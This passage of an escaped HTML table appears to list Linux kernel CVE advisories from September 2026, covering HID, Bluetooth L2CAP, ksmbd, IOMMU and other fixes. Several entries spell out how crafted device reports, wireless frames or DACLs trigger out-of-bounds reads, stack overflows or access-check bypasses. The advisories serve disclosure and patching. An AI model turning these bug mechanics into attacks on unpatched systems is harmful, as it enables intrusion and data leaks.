&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dma-direct: return struct page from dma_direct_alloc_from_pool() Commit 5b138c534fda (&quot;dma-direct: factor out a dma_direct_alloc_from_pool helper&quot;) changed dma_direct_alloc_from_pool() to return the CPU address from dma_alloc_from_pool(). That fits dma_direct_alloc(), but dma_direct_alloc_pages() also uses the helper and expects a struct page *. Fix this by making dma_direct_alloc_from_pool() return the struct page * again, and pass the CPU address back through an out-parameter for the dma_direct_alloc() caller.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89995&quot; target=&quot;_blank&quot;&gt;CVE-2026-89995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: wacom: validate report length in wacom_intuos_pro2_bt_irq wacom_intuos_pro2_bt_irq() receives the wire report length in `len` but never consults it before parsing. After the report-id gate it unconditionally calls wacom_intuos_pro2_bt_pen() and then, selected by features.type, a fixed chain of sub-parsers, none of which receive `len`: wacom_intuos_pro2_bt_pen(wacom); if (type == INTUOSP2_BT || type == INTUOSP2S_BT) { wacom_intuos_pro2_bt_touch(wacom); wacom_intuos_pro2_bt_pad(wacom); wacom_intuos_pro2_bt_battery(wacom); } else { wacom_intuos_gen3_bt_pad(wacom); wacom_intuos_gen3_bt_battery(wacom); } Each sub-parser dereferences wacom-&amp;gt;data at fixed offsets. The furthest byte touched on each branch is: INTUOSP2_BT / INTUOSP2S_BT: wacom_intuos_pro2_bt_pad() reads data[285] (the touchring byte), so the report must be at least 286 bytes; INTUOSHT3_BT (&quot;gen3&quot;): wacom_intuos_gen3_bt_battery() reads data[45], so the report must be at least 46 bytes. features.type is selected from the VID/PID id_table entry and wacom_setup_device_quirks() force-registers the pen/pad/touch inputs for that type independent of the report descriptor, so a malicious or malfunctioning paired/spoofed Bluetooth peripheral can advertise that VID/PID and send an undersized report that still satisfies the data[0] == 0x80/0x81 gate. The driver then reads past the received report and forwards the bytes to userspace via evdev (MSC_SERIAL / ABS_MISC / ABS_WHEEL on the pen and pad input nodes), an out-of-bounds read with a concrete userspace read-back channel, and a true out-of-bounds read on transports whose backing buffer is sized to the (small) report descriptor rather than a fixed-size staging buffer. This is the same class of bug commit 2f1763f62909 (&quot;HID: wacom: fix out-of-bounds read in wacom_intuos_bt_irq&quot;) already hardened in the sibling wacom_intuos_bt_irq(), which guards each report id against its minimum length before parsing. Guard wacom_intuos_pro2_bt_irq() the same way: before parsing, reject reports shorter than the furthest offset the selected branch actually dereferences, warn, and bail out. Because the whole pen/touch/pad/ battery chain runs unconditionally per branch, a single up-front check against the maximum offset (286 bytes for INTUOSP2_BT/INTUOSP2S_BT, 46 bytes for the gen3 branch) bounds every sub-parser. Returning 0 on a short report also skips those calls for the same malformed report, which is the safe, conservative behavior.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89999&quot; target=&quot;_blank&quot;&gt;CVE-2026-89999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: rmi: fix OOB access with undersized RMI reports The hid-rmi driver sizes its writeReport/readReport buffer purely from the report descriptor supplied by the device, with no minimum bound: data-&amp;gt;input_report_size = hid_report_len(input_report); data-&amp;gt;output_report_size = hid_report_len(output_report); alloc_size = data-&amp;gt;output_report_size + data-&amp;gt;input_report_size; data-&amp;gt;writeReport = devm_kzalloc(&amp;amp;hdev-&amp;gt;dev, alloc_size, GFP_KERNEL); data-&amp;gt;readReport = data-&amp;gt;writeReport + data-&amp;gt;output_report_size; but then reads and writes fixed offsets into it. A device declaring a 1-byte output and a 1-byte input report makes hid_report_len() return 2 for each, so alloc_size is 4, while rmi_set_page() -- reached unconditionally at probe time through rmi_input_configured() -- stores writeReport[4] and rmi_hid_read_block() stores writeReport[0..5]. Since readReport lives at writeReport + output_report_size, those stores also corrupt the window the next reply is parsed out of. The read path is worse: the copy length comes from readReport[1], which the device fills in and can be up to 255, and the copy starts at &amp;amp;readReport[2] with no regard for input_report_size, so it runs past the end of the allocation into adjacent slab objects. This does not even need a lying device -- rmi_f01_probe() issues a fixed 21-byte register read, so any device declaring an input report smaller than 23 bytes reads out of bounds even when it answers truthfully. Those bytes become the register values the RMI core acts on: rmi_f01_probe() prints them to the kernel log as the product id and exports them through the mode 0444 sysfs attribute of the same name, and rmi_driver_set_irq_bits() sends them back to the device as the interrupt mask, so an undersized report descriptor leaks heap contents both to unprivileged userspace and to the device itself. The write path has no bound either: rmi_hid_write_block() copies an unbounded len to &amp;amp;writeReport[4], and the largest caller a device can drive at probe time is rmi_driver_set_irq_bits(), whose length is derived from the interrupt source counts the device declares in its Page Description Table. Finally, the read loop cannot terminate on a zero-length reply: such a reply copies nothing and advances neither bytes_read nor bytes_needed, and because a reply did arrive the one second wait_event_timeout() does not fire either, so a device answering 0 forever keeps the loop running inside the probe worker with page_mutex held. khungtaskd does not notice, because every reply wakes the task. Reject reports too small for what the driver builds -- 6 output bytes for the write reports and 3 input bytes for the read handshake -- at probe time, clamp the write and the read copy to the report sizes the device declared, and treat a zero-length reply as an error. A device refused this way is started as an ordinary HID device, like one that does not carry the RMI report ids at all. RMI_DEVICE must not be left set in device_flags on that path, because rmi_input_configured() would then run the RMI setup and reach rmi_set_page(), which writes the writeReport buffer the refusal just skipped allocating. The bit can arrive set: rmi_probe() copies id-&amp;gt;driver_data into device_flags before the report checks, and a bind through the new_id sysfs attribute can supply driver_data with RMI_DEVICE (BIT(0)) set. Strip the bit where driver_data is copied, so RMI_DEVICE keeps meaning exactly &quot;this probe validated the reports&quot;; the three jumps to start that predate this patch are covered as well. The error path also clears RMI_READ_DATA_PENDING on its way out, because that flag is what the wait at the top of the loop tests: leaving it set would make every later wait_event_timeout() return immediately on the stale reply and kill the read path for the rest of the device&#039;s life. Clamping does not regress working hardware: the read loop already handles ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90000&quot; target=&quot;_blank&quot;&gt;CVE-2026-90000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read / stack overflow in rtw_get_wps_attr() rtw_get_wps_attr() walks WPS attributes inside a WPS IE taken from a wireless management frame. For each candidate attribute it only checks that the fixed 4-byte attribute header (2-byte ID + 2-byte length) fits inside the IE: if (attr_ptr + 4 &amp;gt; wps_ie + wps_ielen) break; u16 attr_id = get_unaligned_be16(attr_ptr); u16 attr_data_len = get_unaligned_be16(attr_ptr + 2); u16 attr_len = attr_data_len + 4; attr_data_len (and therefore attr_len) is read directly from the wire and is never checked against the remaining bytes in the IE before being used as the size of: memcpy(buf_attr, attr_ptr, attr_len); Since attr_len is fully attacker controlled (0 to 65535+4), this is both a heap OOB read of wps_ie, and, more seriously, a stack buffer overflow at several call sites where buf_attr is a single-byte stack variable, e.g. rtw_get_wps_attr_content()&#039;s callers passing WPS_ATTR_SELECTED_REGISTRAR into a stack &quot;u8 sr&quot;/&quot;u8 selected_registrar&quot; (drivers/staging/rtl8723bs/os_dep/ioctl_cfg80211.c, drivers/staging/rtl8723bs/core/rtw_mlme_ext.c). A crafted WPS IE in a beacon or probe response processed during scanning can therefore smash the stack of the parsing thread. rtw_get_wps_attr_content() itself has no independent length check and simply trusts the attr_len it gets back from rtw_get_wps_attr(), so fixing the bound here also fixes that caller. The &quot;attr_ptr + 4 &amp;gt; wps_ie + wps_ielen&quot; header check above was added by commit 1463ca3ec6601 (&quot;staging: rtl8723bs: fix OOB reads in rtw_get_sec_ie(), rtw_get_wapi_ie(), and rtw_get_wps_attr()&quot;), which bounded the fixed header but never extended the check to cover the variable-length attribute data that follows it. Add that missing check before attr_len is used as a memcpy() length or accepted as a match.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90018&quot; target=&quot;_blank&quot;&gt;CVE-2026-90018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: sony: clean up device list on probe failure sony_input_configured() adds some controllers to sony_device_list before HID core registers their input devices. input_register_device() can fail after the callback returns successfully. sony_probe() then observes that HID_CLAIMED_INPUT is clear and unwinds, but only stops the HID hardware. The devres-managed sony_sc is freed while its list node remains linked, so the next matching controller traverses freed memory. Initialize the list node and device ID to inactive states. Make list removal idempotent and run the driver-private cleanup on every probe failure path. This also makes a second cleanup safe when sony_input_configured() already unwound a partial initialization before sony_probe() handles the missing input claim. Found by 0sec (https://0sec.ai) using automated source analysis; verified against the HID input registration and probe unwind paths.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90041&quot; target=&quot;_blank&quot;&gt;CVE-2026-90041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: fix race l2cap_sock_cleanup_listen() vs. put_chan For L2CAP sockets without owning sk-&amp;gt;sk_socket, reading l2cap_pi(sk)-&amp;gt;chan may race against concurrent l2cap_sock_kill() -&amp;gt; l2cap_sock_put_chan(). This excludes simultaneous proto_ops callbacks, but access in l2cap_sock_cleanup_listen() has unsafe lockless read. [Task 1] [Task 2 (hdev-&amp;gt;workqueue)] l2cap_sock_release(parent) l2cap_disconn_cfm l2cap_sock_cleanup_listen l2cap_conn_del bt_accept_dequeue l2cap_chan_del lock_sock(sk) l2cap_sock_teardown_cb bt_accept_unlink bt_sk(sk)-&amp;gt;parent = NULL release_sock(sk) ----------------&amp;gt; lock_sock(sk) parent = /* NULL */ lock_sock(sk) &amp;lt;--------------------- release_sock(sk) sock_set_flag(sk, SOCK_ZAPPED) l2cap_sock_close_cb l2cap_sock_kill(sk) l2cap_sock_put_chan chan = READ l2cap_pi(sk)-&amp;gt;chan l2cap_pi(sk)-&amp;gt;chan = NULL l2cap_chan_hold_unless_zero l2cap_put_chan(chan) kref_get_unless_zero(&amp;amp;chan-&amp;gt;ref) Task 1 may observe NULL which causes null-ptr-deref. Fix the race by taking lock_sock() in l2cap_sock_kill() to synchronize with l2cap_sock_cleanup_listen(). hold_unless_zero() is not needed here, l2cap_pi(sk)-&amp;gt;chan owns reference if it is non-NULL. Clarify code comments vs. locking.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90091&quot; target=&quot;_blank&quot;&gt;CVE-2026-90091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: reject accept queue add unless BT_LISTEN New sk should not be added to parent socket accept queue after last l2cap_sock_cleanup_listen() has run in l2cap_sock_teardown_cb() and state set to BT_CLOSED, as that can result to UAF on dereferencing the dangling parent reference. l2cap_sock_new_connection_cb() may race with parent l2cap_chan teardown, due to chan-&amp;gt;state accessed without consistent locking: [Task 1] [Task 2] l2cap_sock_release(parent) l2cap_connect l2cap_sock_shutdown pchan = l2cap_global_chan_by_psm l2cap_chan_lock(pchan) l2cap_chan_close l2cap_sock_teardown_cb pchan-&amp;gt;state = BT_CLOSED l2cap_chan_unlock(pchan) ------&amp;gt; l2cap_chan_lock(pchan) l2cap_new_connection l2cap_sock_new_connection_cb l2cap_chan_lock(pchan) &amp;lt;-------- l2cap_chan_unlock(pchan) l2cap_sock_kill(parent) /* bt_sk(sk)-&amp;gt;parent dangling */ Fix by adding check for sk_state == BT_LISTEN after acquiring sk lock in l2cap_sock_new_connection_cb(). Add lock_sock() around sk_state writes where missing, to avoid data races. Although the data races on pchan-&amp;gt;state should be fixed too, this defensive sk_state check probably makes sense in any case.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90092&quot; target=&quot;_blank&quot;&gt;CVE-2026-90092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v5: Check get_logical_index() return value in MADT IAFFID parsing In gic_acpi_parse_iaffid() a given MADT GICC entry might not correspond to a logical cpu recognized by the kernel, resulting in the cpu variable initialization to an error value. Currently, the get_logical_index() return value is not checked for failure, which might result in out-of-bounds memory corruption while trying to index a per_cpu variable array. Add a check to evaluate get_logical_index() return value.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90120&quot; target=&quot;_blank&quot;&gt;CVE-2026-90120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: bound smb_check_perm_dacl() ACE walks by DACL size smb_check_perm_dacl() validates that the DACL fits inside the NT security descriptor, but then bounds its two ACE walks by the remaining NTSD length (acl_size) rather than the DACL&#039;s declared size (pdacl_size). When pdacl-&amp;gt;size is smaller than the trailing NTSD buffer, bytes after the declared DACL boundary - still inside the stored security descriptor - are parsed as ACEs during access checks. A crafted DACL can place an access-granting ACE beyond pdacl-&amp;gt;size, and the current code accepts it during SMB2_CREATE access validation, while parse_dacl() and smb_inherit_dacl() stop at pdacl_size. Bound both ACE walks by pdacl_size to match the DACL boundary semantics used elsewhere in the server. Validation: - semantic KUnit harness shows the post-boundary ACE is selected before the fix and rejected (EACCES) after it - linux master (7.2-rc6), x86_64&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90153&quot; target=&quot;_blank&quot;&gt;CVE-2026-90153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: defer publishing granted locks to prevent UAF/double-free race In smb2_lock(), mid-batch granted locks are published to connection-wide (conn-&amp;gt;lock_list) and file-wide (fp-&amp;gt;lock_list) lists immediately upon vfs_lock_file() success, while also remaining tracked on the stack-local rollback_list. If a subsequent element in the same SMB2_LOCK request array fails validation or execution, the thread jumps to out: and walks rollback_list to undo previously granted locks. However, because the granted lock was already published to conn-&amp;gt;lock_list, a concurrent UNLOCK request on the same connection can find the lock object and kfree() it before the rollback loop executes. When the granting thread subsequently walks rollback_list, it dereferences and frees the already-freed ksmbd_lock structure, resulting in a Use-After-Free and Double-Free (on both ksmbd_lock and struct file_lock). Fix this by deferring the publication of granted locks to conn-&amp;gt;lock_list and fp-&amp;gt;lock_list until after the entire array of lock elements has been processed without error. Mid-batch grants remain tracked exclusively on the request-local rollback_list until the whole batch succeeds, eliminating the race window.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90162&quot; target=&quot;_blank&quot;&gt;CVE-2026-90162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: Do not skip lock checks for single-byte ranges check_lock_range() uses inclusive ranges. Its callers pass the end offset as start + length - 1, so start == end represents a valid single-byte range rather than an empty range. The start == end shortcut therefore skips mandatory byte-range lock checks for one-byte reads, writes, copychunk operations and one-byte truncate ranges. A conflicting lock covering that byte is not checked and the operation is allowed to proceed. Remove the shortcut. The truncate size == inode-&amp;gt;i_size case is already handled by only calling check_lock_range() when the new size differs from the current file size.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90176&quot; target=&quot;_blank&quot;&gt;CVE-2026-90176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mailbox: riscv-sbi-mpxy: validate RPMI notification lengths The SBI return value controls how many bytes are copied from shared memory into the RPMI notification buffer. It is not validated against the negotiated shared-memory size before that copy. The event walker also uses a reversed loop condition and can inspect a short event record. Validate the complete notification length before copying it, iterate only while a full event header remains, and stop when a declared event payload extends beyond the copied notification data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90191&quot; target=&quot;_blank&quot;&gt;CVE-2026-90191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: fix unconfined user namespace restriction forced stack If a task is already confined by a stack the unprivileged transition restriction on unconfined is not correctly, applied. This results in an escape if two transitions through an unconfined profile can be executed. Fix this by pushing the check into the per profile label build. The check will always be done against unconfined and result in a stack of just the unconfined component when necessary.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90231&quot; target=&quot;_blank&quot;&gt;CVE-2026-90231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Flush context cache with correct SID when tearing down aliases domain_context_clear_one() and device_pasid_table_teardown() are both invoked once per DMA alias of a device. Each function locates the context entry using the bus/devfn pair provided by the pci_for_each_dma_alias() callback, then calls intel_context_flush_no_pasid(), which constructs a device-selective context-cache invalidation from info-&amp;gt;bus and info-&amp;gt;devfn (that is, always the requester ID of the device itself). As a result, for every alias other than the device&#039;s own RID, the context entry that was just cleared in memory is never invalidated in the context cache. Hardware may continue using that stale cached entry. In the scalable-mode teardown path, intel_pasid_free_table() can then free the PASID directory still referenced by that stale entry, allowing the IOMMU to walk freed memory. Fix this by passing the source ID of the entry being torn down to intel_context_flush_no_pasid(), instead of deriving it from @info.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90240&quot; target=&quot;_blank&quot;&gt;CVE-2026-90240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Tear down scalable-mode context on probe failure intel_pasid_setup_sm_context() walks a PCI device&#039;s DMA aliases via pci_for_each_dma_alias() and programs a scalable-mode context entry for each RID. For a device with a dma_alias_mask, the callback is invoked once for the device&#039;s own RID and once for each alias bit, all with the same pci_dev, so device_pasid_table_setup() runs for multiple RIDs. pci_for_each_dma_alias() stops at the first callback error. Therefore, a failure partway through the walk can leave context entries for already processed RIDs present and still pointing to the device&#039;s PASID table. On this error path, intel_iommu_probe_device() currently jumps directly to intel_pasid_free_table(), which frees the PASID table without first tearing down those context entries. The IOMMU may then walk a present context entry whose PASID table pointer references freed memory. intel_iommu_release_device() already performs teardown before freeing the table. Apply the same ordering on the probe failure path. device_pasid_table_teardown() safely handles RIDs that were never programmed: iommu_context_addr() returns NULL when no context table has been allocated, and clearing the Present bit of an already non-present entry is a no-op. So unwind is safe for both the alias that failed and any aliases not yet reached.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90241&quot; target=&quot;_blank&quot;&gt;CVE-2026-90241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Clear Present bit before tearing down copied context entry copied_context_tear_down() zeroes the 128-bit context entry with context_clear_entry() while the Present bit is still set, and only then issues the context-cache and IOTLB invalidations. This leaves a window in which hardware can fetch a torn entry, with some fields already zeroed while Present is still set, leading to unpredictable behaviour or spurious faults. While x86 provides strong write ordering, the compiler may reorder the writes to the two 64-bit halves of the entry, and the hardware fetch is not guaranteed to be atomic with respect to multiple CPU writes. There is no cacheline flush before the invalidation either, so on an IOMMU without coherent access to the context table the zeroed entry may not be visible to hardware at the point the invalidation is submitted. Apply the same ownership handshake described in the VT-d spec, Section 6.5.3.3 (&quot;Guidance to Software for Invalidations&quot;): clear only the Present bit, flush it out to the IOMMU, perform the invalidations, and only then zero the remainder of the entry.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90243&quot; target=&quot;_blank&quot;&gt;CVE-2026-90243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_conn: fix the SCO setup context lifetime hci_setup_sync() queues a conn_handle_t with a NULL destroy callback, so the context is only freed if hci_enhanced_setup_sync() actually runs. An entry that is cancelled instead is leaked, as _hci_cmd_sync_cancel_entry() does not release entry-&amp;gt;data when there is no destroy callback, and hci_cmd_sync_clear() cancels every pending entry when the controller is unregistered. The context also stores a bare hci_conn pointer, so the connection can be freed while the work is queued. The dequeue in hci_conn_del() does not cover it either, as it matches on entry-&amp;gt;data == conn and entry-&amp;gt;data is the wrapper here. Same problem as commit 2f5d635ad590 (&quot;Bluetooth: hci_sync: hold conn in hci_connect_acl/le_sync() callbacks&quot;). Hold the connection and release both from a destroy callback. The submission failure path drops both, since hci_cmd_sync_submit() does not call the destroy callback when it fails to queue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90255&quot; target=&quot;_blank&quot;&gt;CVE-2026-90255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: use proto_lock for l2cap_data to fix l2cap_disconn_ind hci_conn::l2cap_data is accessed without locks in l2cap_disconn_ind via hci_conn_timeout (disc_work) -&amp;gt; hci_proto_disconn_ind -&amp;gt; l2cap_disconn_ind. This is UAF if the l2cap_conn is deleted concurrently. disc_work is disabled sync in hci_conn_del(), so we cannot take hci_dev_lock in disc_work. Fix by using proto_lock to guard l2cap_data, in addition to hdev-&amp;gt;lock which is held in other access paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90256&quot; target=&quot;_blank&quot;&gt;CVE-2026-90256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: sd: Fix error handling in sd_probe() after large pool creation failure After device_add(&amp;amp;sdkp-&amp;gt;disk_dev) succeeds, sd_large_pool_create() failure must unregister disk_dev and let scsi_disk_release() free sdkp. Going through out_free_index kfree()s an already registered device and leaks the sysfs entry.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90268&quot; target=&quot;_blank&quot;&gt;CVE-2026-90268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/gfx6: Use PFP on the compute queues too On GFX6, the compute rings use the same CP path as the graphics ring. The only difference is that they don&#039;t support draw commands. (As opposed to GFX7 and newer which have a separate command parser that is called MEC for compute queues.) This means that we have to take into consideration that the PFP also exists on compute queues on GFX6: Use PFP for register writes on both graphics and compute queues. In the pipeline sync, use the PFP to wait for the previous fence (and not the ME) to prevent the PFP from starting to execute the next submission while the ME is still in the previous submission. After a VM flush, emit PFP_SYNC_ME on compute queues as well.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90286&quot; target=&quot;_blank&quot;&gt;CVE-2026-90286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: o2hb: quiesce negotiate handlers and timeout work Heartbeat regions publish struct o2hb_region as the private data for the NEGO_TIMEOUT and NEGO_APPROVE o2net handlers as soon as make_item() creates the configfs region. The approve handler can call o2hb_arm_timeout(), so a peer can touch the region timeout work before dev_store() has finished building the heartbeat runtime, or after teardown has started to shut that runtime back down. The final configfs put also has to keep reg alive until the last in-flight o2net callback drops its handler reference. o2net_unregister_handler_list() blocks future handler lookups, but it does not wait for sc_rx_work that already passed o2net_handler_get(). That drain needs to cover local listener teardown as well, where the o2net ordered workqueue may already be inside destroy_workqueue(). Fix the lifetime rule in both directions. Initialize the region delayed works before publishing reg through the o2net handler table, keep new or stopping regions non-armable with hr_stopping, and quiesce both delayed works on failed-start and teardown paths even when no heartbeat thread is left to call o2hb_disarm_timeout(). Then unregister handlers before tearing down handler-visible region state and make the drain wait for the active or destroying o2net ordered workqueue before release frees reg. The buggy scenario involves two paths, with each column showing the order within that path: region lifecycle: late negotiate callback: 1. make_item() registers the 1. o2net_process_message() gets a region handlers before heartbeat handler for reg. dev_store() has built a 2. The callback runs after the lookup runnable heartbeat context. lock is dropped and dereferences reg. 2. A failed start or rmdir 3. An approve or timeout path tries to stops the heartbeat thread, queue reg&#039;s delayed work, or release quiesces existing work, and races the callback body after handler drops the final configfs ref. unregister. 3. region_release() must drain 4. The callback or delayed work can handler-visible o2net rx work outlive reg unless lifecycle code before freeing reg. keeps the region non-armable and drains the active-or-destroying o2net workqueue. Validation reproduced this kernel report: KASAN slab-use-after-free in __run_timers+0x22c/0x5b0 Write of size 8 Call trace: dump_stack_lvl+0x66/0xa0 print_report+0xce/0x630 __run_timers+0x22c/0x5b0 kasan_report+0xe0/0x110 _raw_spin_unlock_irqrestore+0x27/0x60 try_to_wake_up+0x191/0xf70 timer_expire_remote+0xae/0xf0 run_timer_softirq+0x19b/0x1a0 handle_softirqs+0x156/0x660 __irq_exit_rcu+0xc4/0x160 irq_exit_rcu+0xe/0x20 sysvec_apic_timer_interrupt+0x6c/0x80 asm_sysvec_apic_timer_interrupt+0x1a/0x20 Allocated by task stack: kasan_save_stack+0x33/0x60 kasan_save_track+0x14/0x30 __kasan_kmalloc+0xaa/0xb0 